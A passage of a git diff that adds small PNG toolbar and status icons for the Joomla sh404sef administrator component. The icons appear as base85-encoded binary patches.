za__6DuR6yg#~-}Tc|Gx_{H@O0eebyMy5GmWADJlpK>kqk(fVV@r_fLLKIeS?{4e)} z^ZO;zpECde00d`2O+f$vv5tKEQIh}w03c&XQcVB=dL;k=fP(-4`Tqa_faw4Lbua(` z>RI+y?e7jKeZ#YO-C0{~D=R7D~pBLDyY0s;a90|NvE1O){J1_lNP2L}iU2nh)Z z3JMAf3kwVk3=Itp4h{|v4-XI!5D^g(5)u*<6B85^6crT}78Vv47Z(^97#SHE8X6iK z8yg%P9334U9v&VaA0HqfAR!?kA|fIqBO@dvBqb#!CMG5)CnqQ@~D=RE4 zEG;c9E-o%FFE21KFflPPGBPqVGcz_~R#sM5S65hASXo(FT3T9LTU%UQTwPsVUS3{bUteHg zU}0flVq#)rV`F4wWMyS#W@ct*XJ=?=XlZF_YHDh0Yin$5Y;A3AZfQ za&mHWb8~cbbai!gc6N4mcXxPrczJnwdU|?$dwYC*e0_a=etv#`e}900fPsO5f`WpB zgM);GgoTBLhK7cRhlhxWh>3}bii(Phi;IkmjE#+rj*gCxkB^X$kdcv*l9G~>larK` zl$Dj0mX?;6mzS8Bn3Cf>sHv%`s;a81tE;T6tgWrBuCA`HudlGMu(7eRva+(Xv$M3cw6(Rhwzjsn zx3{>sxVgExy1Kf%ySu!+yuH1>zP`S{zrVo1z`?=6!otGC!^6bH#KpzM#>U3S$H&OX z$jQmc%F4>i%gfBn%+1Zs&d$!y&(F}%(9zM+($dn?)6>+{)YaA1*4Eb7*VowC*xA|H z+S=ON+uPjS+}+*X-rnBd-{0Wi;Njun;^N}tgww2 z>+9_7?CtIC?(XjI@9*&N@bU5S^78WY^Yird^!4@i_V)Jo_xJet`1$$y`uh6&`}_R- z{Qdp?{{H^||Nj{1Z{Pp`00MMUPE-E?<+m_O0000eNkl2*S4if4YMu rB!UwWD>gs`&|t>H)|$J2jC2M74Hy7FNR(|600000NkvXXu0mjfaa!Vn literal 0 HcmV?d00001 diff --git a/deployed/sh404sef/administrator/components/com_sh404sef/assets/images/icon-16-default.png b/deployed/sh404sef/administrator/components/com_sh404sef/assets/images/icon-16-default.png new file mode 100644 index 0000000000000000000000000000000000000000..ff4d4d8950ab1b4351654e3fc38858977d2f58ab GIT binary patch literal 574 zcmeAS@N?(olHy`uVBq!ia0vp^0wB!63?wyl`GbKJbFq_W2nPqp?T7vkfZX!|J|V8l zTV;+PKfY;I-Me#+Po6yf`abL0LD?_oLVsS!e0lfihDC87o*VxE)O=^B&5PA;A8w0X zzk2-7g@XUj)_nNz;s4v<8@nbgo#yc1B>VT*#{1S7etW(6|EqwXkEZ_n^Xc#F(?1{Y zcyRCP`)5AO`mHY?D|>ZG{^K3>GiT2HyqErPSHQ=&&p*D1`0_gK-4nZK+q92wXn*zO z=HGu^+vdCce}3@pVX=$nci+2r^xM0V@0Y@VJrMf++WPnH{y(3OetQ-1^QHUu%js9I zT=@TP>Hq)#A3nVI^F_{|w}}$o%kKld=2{Zu7Yr1q3@`w-JHCu?0UF3z;1OBOz`!j8 z!i<;h*8Kqr%9prClmzFem6RtIr84*?CKu)Brlw>jD!649rIzOxWfv=0Y|Xe-0aV)M z>Eak7F*Uisg_&muON#47mYyFbfvhZ*UjkU3T;Vk_No4xu6eja5E$!T!G9$ia3XFcS z;$dOAxw&Csf^5|r#A@TDbpdOFUGms#iP)g$P^rI6@#a% KpUXO@geCwk8$4+M literal 0 HcmV?d00001 diff --git a/deployed/sh404sef/administrator/components/com_sh404sef/assets/images/icon-16-locked.png b/deployed/sh404sef/administrator/components/com_sh404sef/assets/images/icon-16-locked.png new file mode 100644 index 0000000000000000000000000000000000000000..b3f11cff4d7f7ddae8895ab6c8ed2f294cdc38bc GIT binary patch literal 683 zcmeAS@N?(olHy`uVBq!ia0vp^0wB!63?wyl`GbKJbFq_W2nPqp?T7vkfZT5ZJ|V7^ z)f@!Y-p`1DMd6)U#<`)Ydp=$VIWLN8pn{cjHEzkPCx zauokvl>67h@NYA3Z?OEodx|^v9O(6to-=2|t<$@oKYxB z4O*2Ra{u;<|63!_9WM9xqvgM4d@EM${@2D@?I8T`tL3>_?!CQp|6P<>(%;yV8M12C z-hYpD?rTo^0Stklk|4iepu-3O20{u@<$L!}UI#Rtv%n*=n1O-o0|+xZtudJa6jUv7 zjVKAuPb(=;EJ|hYO-wGz&rMCqOjK~oEJ`iUFUl@f@QqL~GB7Y{FI#gSs9~?Ci(^Q| z9NRP9d? z7^%oSK_cTTYk2aW5UCKMJQgV>SC<?7eXF@Ny`gVw zd((j>``-U|uvsbJwyA&h8#+K0magbTe%1ywHFW_tV8hM5+@=Egpu0#|Ghy$VyxahXa{+Y3~ zvM|$-5Jtu+8m)6jJt+uPf{K@bF3Yrkqh3L#>xbq`!#UQ(7NZQJtt`igUoG)*}q+P1}e z&)wY}Wm$4|cD6}k^k_6PN-2iJA!(ZSC52%~k|YQr5JCVj91dA7mpnZ^0id;xb(UqZ zQi`G|czJmt3`2Hyc4(T0s;W>*p_D=h!QS2;Q4}$qPB#Wd8)LFKj*(I#rNlW$9LG$j z)4r399v&VLLZG!K3`3$Qigljn#u&rF!9fp5DS!GnoA>c}jFgh~dW|uLD2j~U+S-bx zlq?nt>bgbnP16A2oa6fX zn!2uW&f&dBDaFmr4OLa)y~jDn)zuZZx3>r&JUTl1B!A8Q2YK&#e0==&FU)WC9aWg$ UWG_To-v9sr07*qoM6N<$f}qP0sQ>@~ literal 0 HcmV?d00001 diff --git a/deployed/sh404sef/administrator/components/com_sh404sef/assets/images/icon-16-non-default.png b/deployed/sh404sef/administrator/components/com_sh404sef/assets/images/icon-16-non-default.png new file mode 100644 index 0000000000000000000000000000000000000000..bca1c3884446c8384d33ebe8f6b4512d0c33db5c GIT binary patch literal 336 zcmeAS@N?(olHy`uVBq!ia0vp^0wB!60wlNoGJgf67>k44ofy`glX(f`FeQ1ryDACk3rq5;K0j&+6uRQ+;uxZFe(Hs@ zUWXF|S|2|5{ z4aCdBfFww&MX2;L9oji_>2aYhfT_X%?n_R7`SRr`Qc4LRgwM{-9$^>(kjYGt%}!$5 zCjUy2Qp#4V!`pYC(d-(gou`;dG4uq!JD_YR%*<5KG&L4bJx{Q@w$2Y@4r_h}t7eie zq%o@|dcDSuqtR@(#%`dluWz#JTj-@Jx`C0`ku;xZ_sW#RIB!Bpw~Mhl1YZWkYPe28K?*a{6I1c;m}jaC<;Lk z#&3|#rZKv0DuoKwf=VF^DIG+h&~YFNMi`OH#6&Ls1`7)p8SQ<-%s|TH(n*Uw3*K6xFAD&&%Y*JHA?g&d90G%XfTq?9rYLsnMau<_vw zi`VCwD&}c-T>?*_{CRlIcty2V!&qE84g4MY{Q=wC4TK0Nmo4h`3W_ttFh^4FEXPc{!<;H_K`RwTv={QI7OgA{${S5xJzBeV?TK26jCD?PQ#G%yDeVcCo&tf68l5?F zCa}x0I9_6NgY&iX$6w6SoSA0abv*OUa_8-<0zd65zuYQv=f>5|6AKPa3~7qgIk|J? zoyoeZTjKJzdbD~A^+u}p=UTs8?Q_0EdQP^Jm6g@u!-ub3yEZXgdU2-a%H3 literal 0 HcmV?d00001 diff --git a/deployed/sh404sef/administrator/components/com_sh404sef/assets/images/icon-32-apply.png b/deployed/sh404sef/administrator/components/com_sh404sef/assets/images/icon-32-apply.png new file mode 100644 index 0000000000000000000000000000000000000000..50653e617c551265ab754d286bd5221768ead3e6 GIT binary patch literal 1240 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 tjSFxQmkwTx1Z zdvH|c8ODF-y7$fI4g?YiOXNO?fPhLQLWNo_))^gVKnl~^X{*JtRy$g?US`^A?bK== zEwwka9ce9~h*XNwaK8vC2?3HwAj#&kyGb^i&0fy#IbZ+SBwXZDTHl#(=3Kw`d7tM! z&-WdP%f?0$&sa`3t>@sfrs4bZwimJYmM~ylcAoz^=6`at^QnON@qSCZ zUMEDwBMrwW{e};K+3)+x9%~(NJNb!Xq zb(`Ai!h4Rc1lI{Xp1TP*yhqLQp34C^tD8?+nRc4K=BQvoj>NYY=h{t?ojjR=BSDLg z_O;O3(25f40|chcg{!!L@smoK<@fREin6Ke{l2}4-eh#jjDms>x8&9ITfe!TqxZL6 znSo{1>!cF_SIn3>)2N)3i%o%y1;4Hn zbW}H<;BR+bPk&wX@(gJ5D1dadkNPfy*&|gf0f&PYN4FosOB!76O9If-14Q=h`l6#xV~nnZ4Cm1I*GSLDF3KnU1h7sRUwlA4qLa5!SbBT+?j z=yq>mo+rnqE9bW{wr~f#c3P+v6*%n*X6bC%I7s+Xz*Xjdl1G8>J~H7>x-wy9YH`8% z9Epqth6&L~g5Fb2O|8|ht+RSQ-30^z8Cff`PguFIWX7Ve6_@)bs^_?XmWmN=3*gEh zjaD_ksynvzq4YnN{G5vzmc+d6i;BKFdD{cGjKHB}yILQtsy_`cy|S?`@aCOsfIWb5 z!6Yg$DtFEgzFARq&qJQv^EC<9Fo{F*FL(F`O#+O1ygU z{PA~>S~mS<+vtL4ILEML-0C%nq(L&1?c9vTaQ6#f%9M#y0sT@M4u&ysa{ZQ*Ti32g zTXI};yV2Zk+%^rjY~fVFp@Kt`$elTLH6!jU9ePn=!iulpmS^t^q^N02a3YvO)inxT zSsm*xh~T?~PXgArgTDryXSrt>TJFx2U>~qU)f_2w6gwAQI}vNT;=UQ>c~D z$NK>xleW4$xxK%xxRGigN{J+sT~7>`pd2VV&uG4R?di#t7I8$_ALFf1ZKiYMdJRqGA)~$ zV7NY1AP?{YZteC>FPdc|7gfzEXX&(jbOn^b3DOn>dJH|qI2uhzaY3dBa{7^mt7T7ofztl)4uIMdY2?uRQXMKWA{-ZskVUos;Q>nq>1uaz&)Da}?dfg~*2g8fV_ z^`glVntWCkNmu*`{1#cDLtbK7pjg>w`ub9A+1WtSFd18thbx(iiexwl=PpKo#HQxsgFysU00uV+tA@!cw;VG?LVrW{vHxlYhfAqr_GAFmbkyALW%vV%A zI>#w9B1h+jid^hUcIDJ%*l{exr=Rt5x@&+l!5A_yy1<1191fLOcTeN7wRf%tY5;R6 z=LOpdL?(JBq8W+39#f3yegFPvGks_NY{mk0{k89G7KSr4!hh{eV+!r+Tz?KWm0=lb zTcTK&z@|#*icDv3lF}j<4x37IXFv6g-Ev^(+E;+{_H_~$51Fhn#mM@^Q0R+aI8l2| znWN(7NqLO)=@fcY5(Yf-%D>tTBW09No;+4nE#hetMO86{MBT~mc;mVUpN_ZeehrA9 zo9I%1GZqlJ$n}iNp=Wdjj+~BAugcg|iH=a(sD9(SPozS}4~WP2yfkOl=p~vV(VsL4 z^<=D;_ka3&yk+%Q}BqU+e(z!&-hn+Hr+>^XN7&H4J{s;l5jd|pbOY!6*E!&ejX eVB-HP$$tQ$(z(^i8RLQg0000e*;@Pku-B#i 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 literal 0 HcmV?d00001 diff --git a/deployed/sh404sef/administrator/components/com_sh404sef/assets/images/icon-32-export.png b/deployed/sh404sef/administrator/components/com_sh404sef/assets/images/icon-32-export.png new file mode 100644 index 0000000000000000000000000000000000000000..7970b7ddfed76bd3972e88dd3949ead40cc11cc1 GIT binary patch literal 1766 zcmVf4OL1NWvRgm}>03igsAfW{n za=8K_QE|0M2((-zpa2z=E-VCCRVn>~Mu9psC5i3$b39`^<2mPWQ9NBo`C_$q`%3S{ z_?(&d_kNtm2Y9a=*>A(#++5$lz`*l8Jv~#3qI?KIU#ry$heDwyfUNKPOXYI;kGWj# zSLe^4FTHC3H*ek?O(YWEFirCXUDrc|?9M8sgzLJVZQDOB6bj#(oSgjEI|jIa|2|a| z^u7f-flt&IF8e-R4QNMoc~~AVnXcqjHiGWhN<7Prg$C?lVQpz3oa?as6&a*de+@NRA zp51j8Isi(g5-6omRTZkLLQxbj#-OSyLZJ{;RRv=VgpeSx@B7%=+Cr<<0_Pm9Rtv3G z3%>7Tb8|B^Ha50b0XhL}+lHoTPZt#hhG8HUiy;&Wfe;c@L5L?wNh#s`J{-q^ZQJmD zKX|{lUef##FTF?Qo zzP?T`Uc3m$alknTr8Fq{_Q7l))Am~1Ip?U?>$q^?0*b|A%@=)6lvSSiHSNe{=7dgnI0k3GKr_-w~u^ z2Aa(#78Vw8{P=NjM{?!)pRS8fRV3R4L zA=j7UDA}zS0ldB^z{!&*F*`epTrP*n$w?4GP%f9j7=vk=&@>I9PzZ{mbR4;Ixs27- zRXC0V)-#EZjmH5>fd93LbBTrfwc*Bo6&M&8z>yTCG4I+N$ZgE=r{mJkJA7>QLel$hTF%7ZR+W?GKR2WN`TK zVVpjF8rf_XjYb2Ub4V#cDTS0WP(VURpb0_Ll}ZJ5y%(>gKMS6BkV=N|k(AZ}uqA-!yMYHT@Us=n-Fc3DddCXbwmpCO^5tW* zv$M$O^YAD$GOoH?{5FKO)>%f-sBsEE%R>07JLq3oQ zcgk|dWJIIUhbK;)xOnvFQKPNzj4_16Vd%P!csvfvvM@9>gj6bpzP>&)s|$uG;otb1`2i4Jg$M&&dE&kT_yj1|faM&%`;X_y ztGia9R;!8S<>j?%wfd*w;o(un*ifld!p6o1T-Oa`*Y|x0A%Z)=>gp=EU4l|6;y(jp zPz(a0J%wo0fyb-(eci?9DnEIJ?+O3_)oRtxX0z+pu3ejtMx*~!Rkd46X%&k_HIvEU z?%lgsTwKJ)#s(b6fs_)aX*!P|KYlZR@2xA#u@hx&Fg`&IK!$*(2V|GMd}ZO!pW6ER z$4idmbX=kKym<}|4l0VG7^ze$old7GR8<{oG#bfzy&f_Qqp9oqdZW>Ju)Mr{E1S*w zgpfWGjy}U){>4j!)5GuAHG;JVTYh=w$_%~vUUKQvd(}07*qo IM6N<$f)^)HcmMzZ literal 0 HcmV?d00001 diff --git a/deployed/sh404sef/administrator/components/com_sh404sef/assets/images/icon-32-frontpage.png b/deployed/sh404sef/administrator/components/com_sh404sef/assets/images/icon-32-frontpage.png new file mode 100644 index 0000000000000000000000000000000000000000..830a88193a3950d37a65bb3b1cb5b41a941a9b2b GIT binary patch literal 1927 zcmV;22YC32P)oT`&u@Ty~ee%r1MGotgK!_~D&-cZN$?;z^!)XWpE7 z&j0-X=bYye%-!T%oSuJvzkKScoh_+UqRIE&g^uGaPN#!MgkYKPd&`9o%dIu4ySwj4 zn>TMb<<2E=Z|{}I+S(Q!l~OhU%33>Rt&JUo5C9p#1?q$lIF7`1o%?Ru*0$gPuyrl~ z+)O6@t1#4UN|lgOBBf|@90$h{NGWj~iIf5mL|7hdTB{ZyITrxQe10Y)ghQ#M0EmJ| z8CE|lOG<$dqQcC502l!IAOI3@j~+cHUwrYWXl*dYptVIQh1M2h42438iX>Vagb?_? zODdJX_g$pCyL_xQK&06N?Sl`xB?yeMRHTnsun6In-&v%Tan{CIrl$+!^MZNv(l|~n z2xIJ=0mvvjOBia5F<2XAZj3FnQu%FaeostHQ&*QFk?=^R5;c-M3;;l2EhweR!EIGg zi?tDuibN4GO)fXV`1lmf&GiIf@rF5KW7>10F3^6t~%GA_E%uYpyN}$TB8XYkMa{(YT8J&9R_Xm09 zEI<(q-*jIQKq( ze)*4#j0~f-;r8uG7A$CE(V|abs%peqs@hWD!NM#v4+0>w+3dbs*ZW>r|G6*l*VDycUOB|*=t!i!QD_s!`bQQ$r4(qbYq~>ggHoDHm#+2$=6(QVHk;jhy|3rD z8#a8AFK_O^^E?_F8+m&7&$xE!9Iw6l5@TbdXceNu64q2}EMfpk8NyJZltwAd=;&<@ z9z6V?J$rT^0!sHfEo3&E-P?bq_rRu2Ut#0s4lad}+%QG&eVMvA36ty}k7J-()P8qixx8o__Y1Ox*Y{ZyY&FE;oub=C0YFNO-JW zyMl>{DJCcL%*>P+8=E`_bO959aqbGt^t5;Jj z7HMy9Cz%Xbz3#KT|Bqvwzj&3!OCDjt!lgKljBCMKOQ{sHV#Q(x21f8akFKun_fDSt z*FS-jE~`@%+gXTshr|bR4WT2tUo^-}?zcDit-H5ClPz#+DYgee3(ITJ8=Eyy`-4CC8&I{))HMiEY&w&DWEv{5kwzVDDoxF}V*nnl5t(o9ZHa`^D8 zJ*Q6nt+UMfoeY$hsjUGi!1G+N5SVF{>qZjjSqUgJH#1WrpD&nVQJJZ!8Fl;il*;8M zN~5FWg)?Wm#@~78_1^&>-4g)TQV{`BErFn^K7}=!RzJazDz|XiCzi}YcX!{FTuv2~ z(ncwTQrd)}GS;Ge-zxxTfDu4dK+G~gM1eLMp=u>i#^3@8&%v`2twWS@$_(gOg3Fgb zHeo1aDixTzy82Q&9h8I+YI=G`-n@BZh-m)TRACI@^uJFq-hUavY~fhPr!;h(wV5`+ zG9_I`LU`-Q8%SXhR>uq!iXm^l`Szh)Zmi$)>Kc;Cbd%$Fjfq4$<+?6|gMEJmrplS$ zEy39jd(QS=>T9v_m=vVy8<0Y9f&?{o?F@yPX;fH@UpdmrODRu+{WuIKWf)Gn<^BC~ zz#LGh4jx6B1+oyB&m1qR_pkzRttw0I*vs7Yk17CnI{!a*&p`LH{{cenZ_B6=JwpHh N002ovPDHLkV1kG)qDBA! literal 0 HcmV?d00001 diff --git a/deployed/sh404sef/administrator/components/com_sh404sef/assets/images/icon-32-import.png b/deployed/sh404sef/administrator/components/com_sh404sef/assets/images/icon-32-import.png new file mode 100644 index 0000000000000000000000000000000000000000..009f883548fea208d4ca550928ea46f4a78be7d6 GIT binary patch literal 1758 zcmV<41|j*0P)=Ez5e_vaDYmK74rXxd86pzuygv#pCfqnx<{%8!hJh zK9*%oIga!C(9qD-X9Ad+nK4SG(zUj>w&CXq{y0QFpPyC~WoU44aLY`zM9F5eXH-=k zuGMPPYPIJE08kWVPcD~x3wUeW0L#nE-|y}1#c`a^6&xT40*b}r4?YvX%F0Sw*L6an z5Ra=JKv5J_RYg@*gb+w634#FM_wjxIiQum5lF#RNKMS-4pin4a7zO~Us-kHcrfCw5 zMlnqjUDr`nwK?AReWaAQu1mRGrc$X;uh*MEmSsIFek*{K65F;BLLh`791f#tT62~` z5TGbZO9mQQ@H~%7r9!DxLP`mM>$(665IhZ_CC@`cLp*%=kYcfj=Xn^0(c-$UqiGtt zuA}RE^LZ!~YTj=&C+6nn*u8rcVjxrWZ>5 zdQ77l>tMX{D$dBe=C(6%^ytxGbaa%lu`%}V-%mQ7#ZlN{!5oGkxr+HMx!JW z34{<7i$yHUVs&+uLZLt+k)Wrihg2$sVHiwJO)*}6iG1=PKRVLR@a_=*SdrYw31(`_ z>AT-k-+m^*=;-L9k&%)9+1XhpCnuYY2-fReuh*$mDpV>JB9REuXcSddnVp^GpVcog z)ALQfb0EUOJ_A<>3{CLJf!j9jM;6CE9uYUTEJ3|q=jP3u3=R$wi^Zr`s|X>e*Xz{l zb%3S_8%uF+ZjPL>i=`c}G4iD-U+&e&2ZBHW>A?#f&>q2vM0sC+C||t)b+PnRfFnna zco!~Qz_Kh39z2MYl5)9BBoZMWk2f1m5CmwN#^T~4H6za5zHji#3vC?eRatUDDiBDJ z0&Eu!wLxcuoifCG>V$mt?vU^{1?cJNd2r~^p*<556O>9N1_lNQhr?tt8Eo4opU;!e z=P48l#9}d|lq|jU1}_f98BPlBl_4-75bM3S;nzxVG6`>VbM)%RoC5x|DZu39i zf8fGT)6fHZ?>b<1zJeoa(g0Z{Pcx_+V3jzP>&!l}df_+_`hVOD2=wavTRC z1Z{0?L?V%jLD+Ge$jZtJnM?-PbsGm1Ykq$I&RovE z^vTZGzFMq;Q1xyex&jac!4vVe{cpI1DTzb^ zKru~I@jMSHC5oanI%!}S2H9-3G3%!u&;CE{--b&v1|{E4LjV8(07*qoM6N<$f(DvO AQUCw| literal 0 HcmV?d00001 diff --git a/deployed/sh404sef/administrator/components/com_sh404sef/assets/images/icon-32-next.png 